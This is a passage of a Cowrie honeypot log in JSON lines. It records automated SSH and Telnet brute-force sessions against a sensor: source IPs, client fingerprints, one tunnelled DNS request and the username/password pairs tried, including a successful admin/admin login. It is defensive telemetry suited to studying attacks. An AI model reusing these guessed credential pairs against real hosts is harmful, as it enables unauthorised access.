fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:50:05.026128Z","src_ip":"87.251.64.176","session":"389e4f24fde1","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:50:05.317092Z","src_ip":"87.251.64.176","session":"389e4f24fde1","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:50:05.417050Z","session":"389e4f24fde1","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:50:05.516992Z","src_ip":"87.251.64.176","session":"389e4f24fde1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:50:05.749891Z","src_ip":"87.251.64.176","session":"389e4f24fde1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"123456","message":"login attempt [debian/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:50:13.851234Z","src_ip":"122.168.114.167","session":"30e9fff6fefa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"26.1","message":"Connection lost after 26.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:50:18.790692Z","src_ip":"122.168.114.167","session":"30e9fff6fefa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":47934,"dst_ip":"159.203.135.109","dst_port":23,"session":"e113873a4c59","protocol":"telnet","message":"New connection: 185.26.126.47:47934 (159.203.135.109:23) [session: e113873a4c59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:50:27.749396Z"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":47872,"dst_ip":"159.203.135.109","dst_port":22,"session":"5373e0f15697","protocol":"ssh","message":"New connection: 122.168.114.167:47872 (159.203.135.109:22) [session: 5373e0f15697]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:50:31.490106Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.45.177","src_port":18382,"dst_ip":"159.203.135.109","dst_port":22,"session":"4f98c0ca7be3","protocol":"ssh","message":"New connection: 159.223.45.177:18382 (159.203.135.109:22) [session: 4f98c0ca7be3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:50:32.605899Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.4.106.201","src_port":54028,"dst_ip":"159.203.135.109","dst_port":22,"session":"a0f3919915be","protocol":"ssh","message":"New connection: 202.4.106.201:54028 (159.203.135.109:22) [session: a0f3919915be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:50:32.928496Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:50:32.933369Z","src_ip":"202.4.106.201","session":"a0f3919915be","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:50:33.207492Z","src_ip":"202.4.106.201","session":"a0f3919915be","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Aa112233","message":"login attempt [ubuntu/Aa112233] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:50:34.322695Z","src_ip":"202.4.106.201","session":"a0f3919915be","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:50:35.401848Z","src_ip":"122.168.114.167","session":"5373e0f15697","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:50:35.405764Z","src_ip":"122.168.114.167","session":"5373e0f15697","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:50:35.596755Z","src_ip":"202.4.106.201","session":"a0f3919915be","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":10.8070809841156,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:50:38.556337Z","src_ip":"185.26.126.47","session":"e113873a4c59","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"7.6","message":"Connection lost after 7.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:50:40.216887Z","src_ip":"159.223.45.177","session":"4f98c0ca7be3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"es","password":"123456","message":"login attempt [es/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:50:58.058650Z","src_ip":"122.168.114.167","session":"5373e0f15697","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"32.3","message":"Connection lost after 32.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:51:03.789144Z","src_ip":"122.168.114.167","session":"5373e0f15697","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":50272,"dst_ip":"159.203.135.109","dst_port":22,"session":"334ee01920f7","protocol":"ssh","message":"New connection: 122.168.114.167:50272 (159.203.135.109:22) [session: 334ee01920f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:51:11.205645Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:51:15.277839Z","src_ip":"122.168.114.167","session":"334ee01920f7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:51:15.283152Z","src_ip":"122.168.114.167","session":"334ee01920f7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"openclaw","password":"123456","message":"login attempt [openclaw/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:51:34.230391Z","src_ip":"122.168.114.167","session":"334ee01920f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"28.2","message":"Connection lost after 28.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:51:39.405869Z","src_ip":"122.168.114.167","session":"334ee01920f7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":52684,"dst_ip":"159.203.135.109","dst_port":22,"session":"8e58383c6db6","protocol":"ssh","message":"New connection: 122.168.114.167:52684 (159.203.135.109:22) [session: 8e58383c6db6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:51:48.781996Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.13.206.208","src_port":45324,"dst_ip":"159.203.135.109","dst_port":22,"session":"6b9e3a03fff8","protocol":"ssh","message":"New connection: 103.13.206.208:45324 (159.203.135.109:22) [session: 6b9e3a03fff8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:51:52.225360Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:51:52.323428Z","src_ip":"103.13.206.208","session":"6b9e3a03fff8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:51:52.550966Z","src_ip":"103.13.206.208","session":"6b9e3a03fff8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"p@55w0rd","message":"login attempt [root/p@55w0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:51:53.569468Z","src_ip":"103.13.206.208","session":"6b9e3a03fff8","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:51:53.933652Z","src_ip":"122.168.114.167","session":"8e58383c6db6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:51:53.937594Z","src_ip":"122.168.114.167","session":"8e58383c6db6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:51:54.820884Z","src_ip":"103.13.206.208","session":"6b9e3a03fff8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.45.177","src_port":5390,"dst_ip":"159.203.135.109","dst_port":22,"session":"aa1fb06df12c","protocol":"ssh","message":"New connection: 159.223.45.177:5390 (159.203.135.109:22) [session: aa1fb06df12c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:52:08.763919Z"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:52:11.778270Z","src_ip":"159.223.45.177","session":"aa1fb06df12c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"218.78.46.81","src_port":51766,"dst_ip":"10.17.0.5","dst_port":22,"session":"43082d09012b","protocol":"ssh","message":"New connection: 218.78.46.81:51766 (10.17.0.5:22) [session: 43082d09012b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:52:12.540978Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:52:12.545162Z","src_ip":"218.78.46.81","session":"43082d09012b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:52:12.767791Z","src_ip":"218.78.46.81","session":"43082d09012b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"password1!","message":"login attempt [admin/password1!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:52:13.690138Z","src_ip":"218.78.46.81","session":"43082d09012b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1Q2w3e4r","message":"login attempt [root/1Q2w3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:52:14.623140Z","src_ip":"122.168.114.167","session":"8e58383c6db6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:52:14.915536Z","src_ip":"218.78.46.81","session":"43082d09012b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"31.4","message":"Connection lost after 31.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:52:20.198665Z","src_ip":"122.168.114.167","session":"8e58383c6db6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":41822,"dst_ip":"159.203.135.109","dst_port":23,"session":"247f790b1034","protocol":"telnet","message":"New connection: 185.26.126.47:41822 (159.203.135.109:23) [session: 247f790b1034]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:52:20.302719Z"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":55088,"dst_ip":"159.203.135.109","dst_port":22,"session":"14e3b910b14a","protocol":"ssh","message":"New connection: 122.168.114.167:55088 (159.203.135.109:22) [session: 14e3b910b14a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:52:27.093419Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:52:32.953178Z","src_ip":"122.168.114.167","session":"14e3b910b14a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:52:32.956766Z","src_ip":"122.168.114.167","session":"14e3b910b14a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"a123456A","message":"login attempt [root/a123456A] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:52:55.618348Z","src_ip":"122.168.114.167","session":"14e3b910b14a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"35.7","message":"Connection lost after 35.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:53:02.801820Z","src_ip":"122.168.114.167","session":"14e3b910b14a","protocol":"ssh"}
